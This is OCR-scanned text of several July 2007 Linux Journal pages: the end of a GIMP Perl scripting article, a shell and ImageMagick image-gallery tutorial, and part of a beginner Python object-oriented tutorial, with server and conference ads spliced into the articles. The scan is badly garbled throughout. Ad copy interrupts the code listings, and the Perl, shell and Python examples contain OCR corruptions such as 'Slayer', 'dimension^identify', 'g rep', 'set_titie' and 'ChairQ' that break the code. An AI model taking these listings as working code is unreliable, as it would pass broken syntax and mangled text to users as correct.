blend with the background image pleasing when shown on the Web site. Let's start from the simple and move to the more complex scripts from Listing 10. The gimp-monkeyiq-save-as-jpg script is shown in Listing 11. The getMergedLayer() function is from the MonkeylQGIMP module shown in Listing 3. It gets all the visible layers as a single merged layer. Given a single layer, it can be exported as a JPEG, and I use the specific JPEG save GIMP function to allow various parameters specific to JPEG image compression to be set. Apart from the image in/out parameters, the two main parameters are quality and comment. Being able to embed a comment in the JPEG image itself allows metadata to be added to the Web image, such as an image copyright and author data string. A slightly more complex script is the gimp-monkeyiq-append- layer-from-image-file, which is designed to act like the command¬ line cat imgl img2 >| bar command sequence. We are "append¬ ing" a layer from one image file to another. From the image from which we are reading a new layer, getMergedLayer() is called to grab all the visible layers as a single layer. As there are other scripts to hide and show layers in images, the input image can be prepared in a temporary image file to have only the desired layer(s) visible. The output image will be resized to the larger size of both input images. The code for the append layer is shown in Listing 12. Layers can be moved around with given x,y deltas using 1 ASA COMPUTERS www. Qsocompu te rs . d -1 - BOO - k h AL - S Hardware Systems for the open source community - Since 1989. (Linux, FreeBSD, NelBSD, OpenBSD, Solaris, MS elc.) T h e AM D Opterd n proc esso deliver high-p erlo rm a nee, scalable server solutions for the most advanced applications. "Runs both 32-and 64-bit applications simultaneously". Your Custom Applicant* Solution!! "'Let us know your Needs. "We will build you a Solution.,./' AMDOpleron(TM) Value Sera Starts at $B47 - 1U 1C Deep 260W. - AMD Opterun 140 CPU. -S12MB PC 3200 DDR ECO Unbuffered - Support upto 8GB DDR RAM - 40GB SATA Hand Disk, - 2* 10/1000 Mbps lan. Quad AMD OpteicnpM) Sera starts d $UK - 1U AMD Optefon Model 640. - 2G8 Memory. Max 128 GB - Supports upto 64G B FBDIM M / Mi • 80 GB SATA II Hotswsp Hard Drive. - ^Integrated Dual 10/1000 LAN * Dud AMD Opteron(FM,] Storage Starts d $4,12D - 5U Dual AMD Option Model 246. - SCSI or NAS Software Options. - Support upto 18TB of Storage. - Fail Hard Drive LED Indicator. Dual AMD Gpteron(TM) Storage Starh at $8,445 -8UAMD Opteran Model 246. - 4TB of Storage (36TB Max). -1GB RAM - 2 x 10/100/1000 Gigabit LAN. * NAS or iSCSI Software Options, Why Do Business With ASA? r We Provide Approved EVAL Server,./' Since 1989, ASA has served customers like Cisco, Juniper, Caltech, Fermilab arid most Universities We provide a total custom solution with OS of your choice Excellent pie and postdates support. “Reliable hardware at the most competitive prices Please tall or contact us for your next hardware purchase, AMO 23 S 4 Calls Dei Munda. Santa Clara. CA ■ Email: salesgasicamputefs.com Tel: 1-SIO-HEAL-PCS, Fan: 4Dfl-6S4-2310 fm nl hiW h Eszjci'fted ii£a ttrsprtirtt iiipstoi vL JJ tali bb it hp rsiilmAiJ Llr isprtii :rni a INDEPTH Listing 14. Get the metadata from an image for use in PHP. use MonkeylQGIMP; use FileHandle; sub writedata { my( $fh, $name, $ext, $x, $y, $w, $h ) = $fh->print(" \$${name}${ext}_width = $w;\n "); $fh->print(" \$${name}${ext}_height = $h;\n "); $fh->print(" \$${name}${ext}_left = $x;\n "); $fh->print(" \$${name}${ext}_top = $y;\n ">; $fh->print(" \$${name}${ext}_offsetx = $x;\n "); $fh->print(" \$${name}${ext}_offsety = $y;\n "); sub monkeyiq_gimp_get_dimension { my($inputimagename,$outfilename, $desiredlayername) = $img = gimp_file_load( $inputimagename, $inputimagename ); IfC length( $desiredlayername ) ) { Slayer = getLayerByName( $img, $desiredlayername ) or die("Layer $desiredlayername not found"); } else { Slayer = getMergedLayer( Simg ); } Resources Code for the Article: sourceforge.net/project/showfiles.php?group_id=16036 GIMP Perl Module: ftp.gimp.org/pub/gimp/plug-ins/v2.0/perl A Tutorial for GIMP Perl Users: imagic.weizmann.ac.il/~dov/gimp/perl-tut-2.0 GIMP—Basic Perl: www.gimp.org/tutorials/Basic_Perl Marc Lehmann's "Gimp": www.goof.com/pcg/marc/gimp.html API Documentation: www.goof.com/pcg/marc/pdb/index.html Sname = gimp_layer_get_name( Slayer ); my( $x, $y ) = gimp_drawable_offsets( Slayer ); $w = gimp_drawable_width( Slayer ); $h = gimp_drawable_height( Slayer ); Sfh = new FileHandle; if( $fh->open( Soutfilename, "w" )) { $fh->print("print("?>\n\n"); $fh->close(); } gimp_image_delete( Simg ); } register "monkeyiq_gimp_convert", [ [PF_STRING, "inputimage", "Name of image to export", ""], [PF_STRING, "outputfile", "Name of file to save metadata into", ""], [PF_STRING, "inputlayer", "Name of layer to export (optional)", ""], ] , \&monkeyiq_gimp_get_dimension; gimp-monkeyiq-move-visible-layers, as shown in Listing 13. The dimensions of images also can be set aside for use in PHP Web pages. The gimp-monkeyiq-get-dimension creates a bunch of PHP variables set to interesting image metadata (Listing 14). The writedata() function sets the PHP variables in the output file for the desired input layer. Not only are the width and height available, but the position in the original xcf file is stored as well. This makes it easy to build pixel offset- based Web sites using The GIMP to position various graphical elements and have the Web site offsets updated automatically. A Web site can be designed at 1600x1200 and saved in xcf files. The scaling script can then be used to generate an 800x600 version of the Web site automatically, together with the corresponding image offset and size metadata. Acknowledgements As I have little interactive skill with The GIMP, the cake multilayer images in Figures 1 and 2 were kindly created for the article by Dennis Braun (info@dennbe.com).H Ben Martin has been working on filesystems for more than ten years. He is currently working toward a PhD combining Semantic Filesystems with Formal Concept Analysis to improve human-filesystem interaction. 68 | july 2007 www.linuxjournal.com GO STRAIGHT TO THE SOURCE! 3 3 r V 3 j J s ► iT-f MORE PRODUCTS, BETTER SERVICE, GUARANTEED. MORE HOURS IN THE DAY? NO. BUT WITH THE DUAL-CORE INTEL® XEON® PROCESSOR INSIDE YOUR SERVERSDIRECT SYSTEM, YOU GET THE NEXT BEST THING: THE POWER TO DO MORE IN A SINGLE SERVER. 1U Twin™ Innovation High Density Computing Technology Reducing Cost, Engery and Space Requirements Support up to 16 processor cores Quad Xeon 5300 Series SDR-6015T-TB1U Data Center Clustering Server Two systems (nodes) in a 1U form factor. Each node supports the following: * Dual-processor Quad & Dual Core Intel® 64-bit Xeon® Support * Up to 32GB DDR2 667 & 533 SDRAM Fully Buffered DIMM (FB-DIMM) * 2x Intel® (ESB2/Gilgal) 82563EB Dual port Gigabit Ethernet Controller * 2x Hot-swap SATA Drive Bays * 900/980W High-efficiency Power Supply STARTING CO 1QQ PRICE U^f ■ SDR-1105T 1U ENTRY LEVEL SERVER Excellent general purpose server for organizations with the need for a low, entry level price * 1U Rackmount Chassis with 520W power supply * Seagate SATAII 80GB 7200 RPM 8MB Cache SATA 3.0Gb/s * Supermicro X7DVL-L Server Board with Intel® 5000V (Blackford VS) Hard Drive Chipset *4x1” Hot-swap SATA Drive Bays * Intel® Dual-Core Xeon Processor 5050 3.0GHZ 667 MHz * Two Intel® 82563EB Dual-port Gigabit Ethernet Controller * Total 512MB, 2pcs x 256MB Kingston DDR2 533Mhz FB-DIMM * Intel® ESB2 SATA 3.0Gbps Controller RAID 0, 1,5, 10 support ECC SDR-2503T ZU APPLICATION SERVER Highest performing with Dual Core/ Quad Core Xeon CPU based. Excellent with general purpose applications and provide the most power. * 2U Rackmount Chassis with 650W power supply * Seagate SATAII 250GB 7200 RPM 8MB Cache SATA 3.0Gb/s * Supermicro X7DVL-E Server Board with Intel® 5000V Hard Drive (Blackford VS) Chipset *6x1” Hot-swap SATA Drive Bays * Intel® Dual-Core Xeon Processor 5050 3.0GHZ 667 MHz * Intel® (ESB2/Gilgal) 82563EB Dual-port Gigabit Ethernet Controller * Total 512MB, 2pcs x 256MB Kingston DDR2 533Mhz FB- * Intel® ESB2 SATA 3.0Gbps Controller RAID 0, 1,5, 10 support DIMM ECC SDR-3500T DATARASE SERVER Easily Scalable storage solution with hot-swap functionality for growing businesses * 3U Rackmount chassis with Redundant 800W power supply * Supermicro X7DBE+ Server Board with Intel® 5000P (Blackford) Chipset * Intel Quad-Core Xeon Processor E5310 1.6GHZ * Total 1024MB, 2pcs x 512MB Kingston DDR2 533MHz FB-DIMM ECC * Seagate SATAII 500GB 7200 RPM 16MB Cache SATA 3.0Gb/s Hard Drive * 16x1" Hot-swap SATA Drive Bays * Dual-port Gigabit Ethernet Controller * Intel SATA 3.0Gbps 6-PORT Controller RAID 0, 1, 10 support STARTING PRICE $ 3,299 SDR-5111T 5D ADVANCED STORAGE SERVER Quad Core dual Xeon CPU based, with 24 hot-swap hard disk bays suitable for 18TB of pure data Storage capacity * Seagate 750GB 7200 RPM 16MB Cache SATA 3.0Gb/s Hard Drive * 24 x 1" Hot-swap Drive Bays * Intel® (ESB2/Gilgal) 82563EB Dual¬ port Gigabit Ethernet Controller * Intel ESB2 SATA 3.0Gbps Controller RAID 0, 1,5, 10 support * 5U Rackmount chassis with Redundant 1350W power supply * Supermicro X7DBE Server Board with Intel® 5000P (Blackford) Chipset * Intel Quad-Core Xeon Processor E5310 1.6GHZ * Total 1024MB, 2pcs x 512MB Kingston DDR2 667MHz FB- DIMM ECC SERVERS DIRECT CAN HELP YOU CONFIGURE YOUR NEXT HIGH PERFORMANCE SERVER SYSTEM - CALL US TODAY! Our flexible on-line products configurator allows you to source a custom solution, or call and our product experts are standing by to help you assemble systems that require a little extra. Servers Direct - your direct source for scalable, cost effective server solutions. 1.877.727.7887 | www.ServersDirect.com Intel, Intel logo, Intel Inside, Intel Inside logo, Intel Centrino, Intel Centrino logo, Celeron, Intel Xeon, Intel SpeedStep, Itanium, Pentium, and Pentium III Xeon are trademarks of Intel Corporation or it’s subsidiaries in the United States and other countries. Xeon* inside ™ Dual-core. Do more. INDEPTH J Writing Your Own Image Gallery Application with the UNIX Shell You don’t need a fancy photo management application to create a Web-based image gallery, girish venkatachalam Digital photography has become so ubiquitous today that even medi¬ um-range mobile phones can capture photographs. Once you transfer photos to the PC, you need to be able to share them with friends and relatives. Most digital cameras produce such high-resolution images that sending them directly to folks via e-mail is not always convenient. This is when you need an on-line photo-sharing Web site, such as flickr.com, to help share photographs simply by uploading them. Of course, you also can do the heavy lifting with tools such as gallery2. But, in this article, I discuss how to utilize the power of the Linux command line to create an image gallery. A Brief Survey of the Graphics Tools in Linux All of you have heard of the GNU Image Manipulation Program (GIMP). It is useful for interactive image manipulation, photo retouching and other editing purposes, but I find it quite difficult to use. There are often much simpler alternatives that do a much better job for commonplace image editing. The nice thing about these alternatives is that you can run them directly from the almighty command line, which can save time and facilitate easy scripting. Here are some such tools that interest me: ■ qiv: this one is the fastest of the lot. It is lightweight, and it can handle a huge list of images on the command line. In fact, you can reproduce the "persistence of vision" effect of video by dumping the frames using MPlayer's -vo jpeg or -vo png driver and view them using qiv *. Pressing the spacebar gives the same effect of actually watching the video sans the audio. ■ xloadimage: xloadimage, or xli, is another application for viewing images. ■ xv: this one is rather outdated now, but it is worth taking a look at it. Some of its image processing algorithms are cool. ■ tgif: tgif, along with dia, xfig and friends, is most useful for creat¬ ing technical drawings, block diagrams and the like. I find tgif to be really user-friendly and powerful when it comes to certain common image processing tasks, such as generating a collage or mosaic of images and annotating images with text. ■ Netpbm suite: this suite has more than 200 command-line utilities and is used for advanced image processing purposes that primarily are designed to be invoked from the Linux command line. ■ ImageMagick suite: this suite can be described as the be-all end-all of image processing. It has mind-boggling capabilities that can create animations, logos, convert file formats and, of course, do highly sophisticated image processing. Go to www.imagemagick.org/Usage for details on all it can do. In this article, I focus primarily on using the ImageMagick toolkit for the purpose of creating an image gallery. A Few Basics Obviously, you will want the gallery to be an HTML page for sharing with friends using the Web. The first step involves generating thumbnails for all the images. These have to be linked to the images using HTML tags. But, before that, you need to take care of the images' varying orientations. Different photographs may have different dimensions, and you should be able to categorize the thumbnails based on that. This is no hard and fast rule, but I prefer it this way. The next task is to annotate the images with relevant text, by watermarking either below or above the image. ImageMagick has a rich toolchest for achieving this task in an elegant manner. You also will want to be able to retrieve, save and optionally dis¬ play the EXIF data embedded in the photographs. After annotating the images, you may want to generate borders, frames or 3-D reliefs for better visual appeal. Usually, they look nice on Web pages with a white background. Another nice-to-have feature is to be able to generate black-and- white photo equivalents. Of course, in addition to all this, if users want to download the original, untouched, pristine photo in full size, they should be able to do so. It might be worthwhile to provide a download link for all the photos in one single zip file. For people who don't like clicking on each of the thumbnails, you can provide a slideshow. But, on Linux, you can do much better. You can create a full-fledged video with sound effects. I prefer a nice MIDI tune, appropriate for the occasion and mood of the snaps. This has a side benefit of being directly writable to DVD too. But before this, it's a good idea to create vertical and horizontal mirror images of each of the photos. That way, the video has a better flow and visual appeal. It so happens that this is extremely easy to do with the Linux command line and ImageMagick. You might have other requirements, such as correcting the exposure, brightness or contrast, cropping out certain parts of the image or doing 70 | july 2007 www.linuxjournal.com photo retouching with more interesting effects. Again, ImageMagick can do the trick (as can qiv and other image display tools). To correct images, you might prefer an interactive tool, such as The GIMP or tgif. Other possibilities exist, such as creating a mosaic of images anno¬ tated with nice fonts, but this does not make much sense in an image gallery application. Now, let's get down to business. The Code for the Task It is best to use /bin/sh as the programming language. Because all the work is already done most elegantly and naturally by command-line utilities, you need only to invoke them with the appropriate switches and generate simple HTML code a la google.com. The first task is to segregate the images into different directories, depending on the dimensions and orientation of each image. This is easily done with the following block of code: #! /bin/sh Figure 1. Image with Frame # script to segregate images based on dimensions 1) Thumbnail with thickness and shadow: for image in *jpg do dimension^identify -format "%wx%h" $image' # we don’t want mkdir shouting at us for # directories that exist! mkdir $dimension 2>/dev/nuVL mv $image $dimension done Now we have all images of identical dimensions, neatly arranged in separate directories. Let's proceed to generating the thumbnails for each of them. This script generates the thumbnails: #! /bin/sh # script to segregate images based on dimensions # this is where we have all the thumbnails for each of the # images classified by dimensions above mkdir thumb for dir in 'Is -F | g rep / | grep A [0-9] do mkdir thumb/$dir 2>/dev/null cd $dir width='echo $dir | cut -dx -fl' height=' echo $dir | cut -dx -f2 | cut -d/ -fl for image in * do convert -size ${width}x${height} $image -resize 20% \ ../thumb/${dir}thumb-$image done cd . . done With ImageMagick, you have several nice features available for decorating thumbnails, and they look impressive. $ convert rose.jpg -matte \ \( +clone -fx DarkSlateGrey -repage +0+1 \) \ \( +clone -repage +1+2 \) \ \( +clone -repage +1+3 \) \ \( +clone -repage +2+4 \) \ \( +clone -repage +2+5 \) \ \( +clone -repage +3+6 \) \ -background none -compose DstOver -mosaic rose-thickness.jpg 2) A raised button effect: $ convert -raise 8x8 rose.jpg rose-raised.jpg 3) Adding a frame to the thumbnail: $convert -mattecolor peru -frame 9x9+3+3 rose.jpg rose-frame.jpg Next, let's look at some interesting ways to annotate images with ImageMagick: 1) Text on the bottom-left corner with a vertical orientation: $ convert rose.jpg -font helvetica -fill white \ -pointsize 20 -gravity southwest -annotate \ 270x270+15+0 ’Nice pink rose’ rose-text.jpg 2) Text on a frame: $ montage -geometry +0+0 -background white -fill \ brown -label ’Nice pink rose’ rose.jpg rose-text.jpg Note that you can give any color to the -background and -fill switches. To find which colors are supported by ImageMagick, type: $ convert -list color 3) You also can watermark, like this: www.linuxjournal.com ju ly 2007 | 71 INDEPTH 1 $ convert rose.jpg -font helvetica -pointsize 20 -draw \ "gravity south \ fill black text 0,12 'Nice pink rose' \ fill white text 1,11 'Nice pink rose' " rose-text.jpg 4) Label the image on the top like this: $ convert rose.jpg -gravity North -background green \ -splice 0x18 -draw "text 0,0 'Nice \ pink rose' " rose-top.jpg You can create a video from the images using mencoder or FFmpeg. But before that, let's first create the horizontal and vertical mirror images of the snaps. It will be interesting to combine the images with the mirrors while playing the video: Figure 2. Image with Text $convert rose.jpg -flip rose-flip.jpg $convert rose.jpg -flop rose-flop.jpg These two commands create the vertical and horizontal mirror images, respectively. You can combine the mirrors with the original with the append switch to convert: $convert rose.jpg rose-flip.jpg -append rose-vertical.j pg Instead of -append, if you specify +append, it creates the images side by side, which is what we want to do with horizontal mirror images: $convert rose.jpg rose-flop.jpg +append rose-horiz.jpg You might consider using the -resize option or -scale option to convert all images to identical dimensions: $ mencoder "mf://*.jp" -mf fps=0.5:type=jpg -o \ image-video.avi -ovc lave -lavcopts vcodec=mjpeg This creates an image video with all the images displaying one after another at an interval of one image every two seconds (fps=0.5). But, bear in mind that all the images need to have identical dimen¬ sions, or this will not work. Now, you can combine this with a nice audio file to create a video that is playable on a DVD: $ lav2yuv +n image-video.avi | mpeg2enc -f 8 -o image-video.m2v $ mplex -f 8 audio.ac3 image-video.m2v -o final-video.mpg Now, simply copy the final-video.mpg into your DVD and you are done. You can generate the black and white equivalents of a color image using this command: $ xloadimage rose.jpg -dump jpeg,grayscale rose-bw.jpg Conclusion To create an image gallery application, you need to obtain the thumb¬ nails, border style of images, audio file for the background music and Figure 3. Image with Watermarking the text for annotating each image. You also can give the user the opportunity to specify a particular annotation style. Once you have these inputs, you can use the command-line ImageMagick tools to create a gallery and use a simple shell script to link them all together with HTML and produce a Web page.H Girish Venkatachalam is a cryptographer with nearly a decade of experience working on various modern UNIX systems. He has developed IPSec from scratch on the Nucleus OS for a router and worked with the guts of Apache, OpenSSL and SSH. He can be reached at girish1729@gmail.com. Resources ImageMagick: www.imagemagick.org/Usage Netpbm: netpbm.sourceforge.net tgif: bourbon.usc.edu/tgif gallery2: gallery.sourceforge.net 72 | july 2007 www.linuxjournal.com Designer clothes aren’t all that’s in Fashion. Come see the latest trends in open source at LinuxWorld. From Linux/Windows interoperability to practical OS development, you 1 11 see what ] s taking open source Front and center. In Fact, more companies use open source than ever. For instance, one top American sportswear company now utilizes Linux running on industry-leading servers For its global B2B portal. The company and its specialty retailers can efficiently place, track and ship orders in minutes. It has even shortened design-to-product time by linking its production Facilities worldwide. So catch the excitement oF open source, register at www.linuxworldexpo.com. August 6-9, 2007 Moscone Center - San Francisco R o gictor rj q\jw www.linuxworldexpo.com Copyright ® 2007 IDG World Expo Corp. All rights reserved. LinuxWorld and LinuxWorld Conference & Expo are registered trademarks of International Data Group, Inc. All other trademarks are property oF their respective owners. r Platinum Sponsors ACGESS ORACLG MOTOROLA Gold Sponsor Novell. *, HPC Cluster Solutions Silver Sponsors WIND RIVER INDEPTH J Programming Python, Part II Having covered some advanced features in Part I, it’s time to include some basics. JOSE P. E. "PUPENO" FERNANDEZ The tutorial in last month's issue covered the basics of installing Python, running it and using it. Then, we moved on to building a basic blog in Python. The blog was extremely simple—only a Python list. We focused on the posts and built a Post class: class Post(object): def_i ni t_(self , title, body): self.set_titie(titie) self.set_body(body) def set_titie(self, title): self._title = title def get_titie(self): return self._titie def set_body(self, body): self._body = body def get_body(self): return self._body def __repr__(self): return "Blog Post: %s" % self.get_titie() In this follow-up article, let's focus on the blog itself and go further. The Blog Now that we have the Post class, we can make the Blog class. An initial implementation may look like this: class Blog(object): def __ini t__(self): self._posts = [] def add_post(self, post): self._posts.append(post) def get_posts(self): return self._posts We are using a list to maintain the posts, but the interface is totally abstract behind a set of methods in the Blog class. This has a huge advantage: tomorrow we could replace that simple list with an SQL back end, and the code that uses Blog will need few, if any, changes. Notice that there's no way to delete a post. We could tamper with _posts directly, but as long as we do what the class was meant to do, we can't delete a post. That may be good or bad, but the important thing is that by defining a set of methods, we exposed the design of how the class should be used. To Publish or Not to Publish The method get_posts returns all the posts. When we are writing a new post, we don't want the whole world to be able to read it until it is finished. The posts need a new member that tell whether it is published. In Post's initalizator,_init_, we add the line: self._p u b1ished = False That makes every new post private by default. To switch states, we add the methods: def publish(self): self._published = True def hide(self): self._pu blished = False def is_public(self): return self._published In these methods, I introduced a new kind of variable—the boolean. Booleans are simple; they can be true or false. Let's play with that a bit: >>> cool = blog.Post("Cool", "Python is cool") >>> cool.is_public() False >>> cool.publish() >>> cool.is_public() T rue >>> cool.hideQ >>> cool.is_public() False >>> If, when you run is_public, you get: Traceback (most recent call last): File "", line 1, in ? File "blog.py", line 25, in is_public return self._published AttributeError: ’Post’ object has no attribute ’_published 1 74 | july 2007 www.linuxjournal.com That's because _published was not created, it can't be used, and is_public wants to use it. Understanding errors in your tools is important if you want to be a successful programmer. In this short set of messages, the last line is the error itself. There are various types of errors, and this one is an AttributeError. A lot of important information is given in the traceback. A traceback is a list of "who called whom", providing an idea of what was being executed when the error occurred. The first line of the traceback doesn't give much information. It probably relates to the line we typed at the REPL. The second line tells that the error was in the file blog.py, on line 25, on the method is_public. Now we have the line that raised the problem. This traceback is simple. In a real application, you would have methods that call methods that call methods and so on. In those cases, it is not uncommon to see tracebacks of 25 lines or more. I've seen tracebacks of more than 150 lines, but those were extreme cases in extreme conditions. The next step is a modification to the Blog class to pick up only published posts. So, we add a new method: def get_public_posts(self): published_posts = [] for post in self._posts: if port.is_public(): published_posts.append(post) Python tries to be as readable as possible, but that method intro¬ duces too many new things, so it requires some careful explanations. Loops One of the Python's looping constructs is for. It is designed to iterate over lists, sets, maps and other iterable objects. In this case, it takes all the items in self._posts and, one by one, assigns them to the variable post. In the body of the for, which is executed on each iteration, we can use the variable post. The body of the for, as with other constructs that need a piece of code, is delimited by nothing more than the indentation. Here's an example: >>> the_!ist = [1,2,3, "a", "b"] >>> for item in the_list: print item 1 2 3 a b >>> Various tasks are solved with a loop. One such task is doing some¬ thing for each member of a collection, like we did in the previous example. For those types of tasks, the for construct is excellent. Another common practice is to perform an action a given number of times—for example, printing "Hello, world" three times. To do that we can use: >>> a = 0 >>> while a < 3: print "Hello world" ... a = a + 1 Hello world Hello world Hello world >>> Another loop construct is while, and it will continue to run its body until the check—that is, the expression after while and before the colon—becomes false. We can rethink the previous loop as iterating over a list containing the numbers 0-9. There's a way to do it with a for construct: >>> for a in range(0,3): print "Hello world" Hello world Hello world Hello world >>>> This is shorter and arguably more readable. What is while useful for then? It is useful any time you don't really know when you are going to stop the loop. Here are some examples: ■ Reading characters from a file until you encounter the End of File (EOF). ■ Reading commands from a user until the user enters the quit command. ■ Reading temperatures from a sensor until the temperature is too high. ■ Reading events from a user interface until the user presses the X button at the top of the window to close the program. There's a pattern forming here—doing something until something else happens. That's what while is good for. Some time ago, when we didn't have as many choices in program¬ ming languages and we ended up using C most of the time, the while construct tended to be much more useful than the for construct. But today, with a powerful for construct, nice functions such as range and the possibility of putting an iterator around anything, for is being used much more than while. Here's one last example for your enjoyment: >>> for 1 in "Hello World": print 1+"", Hello World Conditionals In the fourth line of some previous sample code, if post. is_public(), www.linuxjournal.com ju ly 2007 | 75 INDEPTH 1 we have another new construct—an if. This allows programs to make choices based on data. It needs a boolean value and a piece of code. The code is run only if the boolean is True. If you provide something that is not a boolean, Python does its best to interpret it as a boolean. For example, the number 0 is interpreted as False, but all the other numbers as True. Here are some examples: >>> if True: print "It is true!" It is true! >>> if False: print "Is it false?" >>> wasn't executed. Another common situation is having various conditionals for different cases. In that case, we use a string of ifs: if a == 10: print "A is ten." elif a == 0: print "A is zero." elif a != 30: print "A is not thirty." else: print "Who cares about a ?" elif is the contraction of "else if", and indeed, the previous code could be written as: We can perform many different types of comparisons on different kinds of objects. Note that the equality operator is ==, not = (that is, two equal signs): >>> a = 10 >>> if a == 10: print "Ten!" Ten! There are other comparisons, such as greater than (>), less than (<) and different (!=). You can experiment with comparisons directly on the REPL: >>> 3 == 4 False >>> 10 != 5 True >>> 4 >= 1 True It is common to run a piece of code if something is true and another piece of code if it is false. For example, we could do the following: if a == 10: print "A is ten." if a != 10: print "A is not ten." This has a big problem. If we change a to b in the first case, we have to remember to change it in the second. And, the same should be done for any other little changes we do. The solution is an exten¬ sion to the if construct: if a == 10: print "A is ten." else: print "A is not ten." The piece of code after the else will be executed if the first piece if a == 10: print "A is ten." else: if a == 0: print "A is zero." else: if a ! = 30: print "A is not thirty." else: print "Who cares about a ?" But, that is ugly and prone to errors. If you have 10 or 15 different cases, you'll need a 29"-widescreen monitor just to view it. (Not that I have anything against such a monitor. I'd like to have one.) If you come from other languages that have a switch or select or case construct and are wondering where they are in Python, I'm sorry to disappoint you. Python doesn't have such constructs. There's a pro¬ posal to include them, but it hasn't been implemented yet. Right now, the solution is to use a chain of ifs, elifs and elses. After you use this a few times, it's not so bad. Now that you know about else, here's an interesting tidbit: for and while also can have elses. What do they do? Run Python, and try it out until you discover for yourself. While programming, you'll need to run a lot of code to find out how many undocumented, obscure, almost black-magic, things work, so starting with something simple will help you get some training. Inheritance The short introduction to object-oriented programming (OOP) in Part I of this article left out a big topic—inheritance. This feature is what makes OOP really useful, and as OOP tries to mimic real life, I explain inheritance here with real-life examples. Think about a chair. A chair is made out of some kind of material, has two armrests, a back, a color, a style and maybe even a warranty. Now, think about a table. It is made out of some kind of material, might have some drawers, a color, a style and maybe a warranty. They have a lot in common! If we were to make the two classes, Chair and Table, a lot of code would be repeated. In programming, when you write the same line of code twice, you probably are doing something wrong—inheritance to the rescue. A chair is a piece of furniture. So is a table. Such similarities can 76 | july 2007 www.linuxjournal.com be in the Furniture class. Let's make the Furniture class have a default material and the ability to set other materials: class Furniture(object): def ini t__(self): self._materiat = "wood" def setjnaterial(self, material): self._material = material And now, a Chair class inheriting Furniture: class Chair(Furniture): def ini t__(self): self._backrest_height = 30 def set_backrest_height(self, height): self._backrest_height = height Now, you know what goes inside parentheses in the class header: the name of the class being inherited, which also is known as a super class or parent class. Let's play a bit with this, so you can see what happens: >>> c = ChairQ >>> c.set_backrest_height(50) >>> c._backrest_height 50 >>> c.setjnaterial("plastic") >>> c.jnaterial 1 plastic 1 >>> As you can see, the methods of Furniture also are on Chair. I leave the definition of the Table class as an exercise for the reader. But first, here's another interaction: >>> d = ChairQ >>> d._backrest_height 30 >>> d.jnaterial Traceback (most recent call last): File "", line 1, in ? AttributeError: ’Chair’ object has no attribute ’_material’ >>> I bet that is not what you expected. Let's take a closer look at Cyberspace is an information feeding frenzy. Slav off the menu. Black Hal brings you die most knowli'tLgafrle and respected figures in information and computer security Six days. Thirty Classes. Ninety presentations. Black Hat Briefings & Training USA 2007 July 28-AugList 2 * Caesars Palace Las Vegas www.blackhat.cDm diamond platinum « 11 1 ■ 1 11 1 CISCO Microsoft gold H.CtNZlC 10 Active SilVQr ArcSi^ht^ |p5ffnFY- (T)[EDMP-diiT Lancope' n C HMjd c NORMAN Tradware (1)111? C31BBBP SStillBecure ifrwatcufW haj- INDEPTH 1 what happened. We created a Chair, the method Chair._init_was run setting _backrest_height. Oh! Nobody called Furniture._init_, which never set jmaterial. There are two solutions to that. Setting _material in Chair._init_is not a solution. If we do that, the classes would be coupled, meaning the implementation of one will depend on the implementation of the other. If we change the name of jmaterial to jmaterials, suddenly Chair will stop working. If you have hundreds of classes developed by hundreds of different people, keep¬ ing track of those changes is difficult. Also, Furniture will grow to have more members, so we have to remember to set all those members to the same defaults in Chair._init_. I'm getting a headache just thinking about it. One real solution is calling Furniture._init_and rewriting Chair._init_this way: def __ini t__(self): Furni ture._ini t_(self) self._backrest Jieight = 30 We had to pass self to_init_, because if we called it with the class instead of the object, it wouldn't know in which object to do its operations. I personally don't like that solution, because it implies writing the name of the class in two or more places. If you ever change the name, you'll have to remember to run a search and replace. Another solution is more cryptic than it should be, but it doesn't have the problem I just mentioned: def ini t__(self): super(Chair, self).__init__() self._backrest_height = 30 In this solution, I call super, passing the current class and the current object, and it allows me to make a call to the parent class using the current object. Here we may have a problem if we change the name of the class itself, but running a search and replace on the file is a good idea when making that kind of change. You'd want to change the documentation as well. The real problem with this solution is hard to understand and to explain—it has to do with multiple inheritance. For more informa¬ tion, read "Python's Super Considered Harmful". Personally, I've been using this second solution without any problems. You'll see that all classes I defined inherit from object. That is the most basic class—the root (or top) class. It is a good idea to make all your classes inherit from it unless they inherit from another class. If you don't do that, your class will be an old-style class, and some things won't work, such as super. It is important to know this, because you may encounter old-style classes anywhere, and you should be prepared. MECHANICS visit us at www.siliconmechanics.com or call us toll free at 866-352-1173 Silicon Mechanics and the Silicon Mechanics logo are registered trademarks of Silicon Mechanics, Inc. AMD, the AMD Arrow logo, AMD Opteron, and combinations thereof, are trademarks of Advanced Micro Devices, Inc. Expert Included. Fie appreciates the Rackform nServ K501 because he knows AMD's Direct Connect Architecture ensures that all processor cores will work together with maximum efficiency and optimized memory performance now. And its 2 Dual-Core AMD Opteron™ 2000 Series processors are engineered for seamless upgradeability to Quad-Core later. Falko knows that the evolution of technology is constant. He is impressed that the Rackform nServ K501's 24 hot-swap + 2 internal SATA drive system with redundant power supply delivers reliability without sacrificing capacity. When you partner with Silicon Mechanics, you get more than a long-term investment in AMD technology—you get an expert like Falko. Falko provides expert, dedicated technical support for one of the most comprehensive server and storage product offerings in the industry. AMD£1 Opteron Python 2.5 During the process of writing this article, with much excitement and fanfare, Python 2.5 was released. It is the most important release in almost two years, and it comes with many promises. It promises to be more reliable due to improvements in the testing procedures used by the Python development team. It now has Buildbot, a program that continuously builds and tests Python, and whenever there's something wrong, it raises an alarm for all the world to see. The shame of being the developer who made the error will make all the developers more careful—at least, that's what happened to me when I had a Buildbot watching my code. For some, like this author who had a new release at the worst possible time, the most important thing is that Python 2.5 is backward- compatible. All that you've learned here will work. And, not only will it work, it is still the way to do it. The new release also promises to be faster and has many new advanced features, including new modules and packages. The future is bright for Python and Python coders. What Now? This was nothing but a short introduction to Python; there's still much to learn. A good place to start is the official Python Tutorial. You also can read Dive Into Python , a book that you can buy or read for free on the Web. And, of course, a lot of other books and tutorials are available. I learned Python mainly from the Python Tutorial, which is very good. Whenever you are creating a program in Python, never, and I repeat, never, do anything without checking whether it has been done before. Python has a lot of features and a lot of built-in libraries. And, if that isn't enough, there are hundreds, maybe thousands of third- party Python libraries. In fact, the huge amount of code that's already written in Python is one of the reasons to use it. The first stop is Python's Documentation. There we have the previously mentioned tutorial, the library reference and the language reference. The language reference can be a bit hard to use and understand. Programming languages tend to be difficult to understand and so are their references, which often have exclusive jargon, such as lexical analysis, tokens, identifiers, keywords or delimiters. This piece of docu¬ mentation can be particularly useful in showing how to use language constructs, such as for, if, while and more complex ones that I haven't mentioned, such as yield, break or continue. The library references let us know about all the classes, methods and functions that Python already provides. It is so important and use¬ 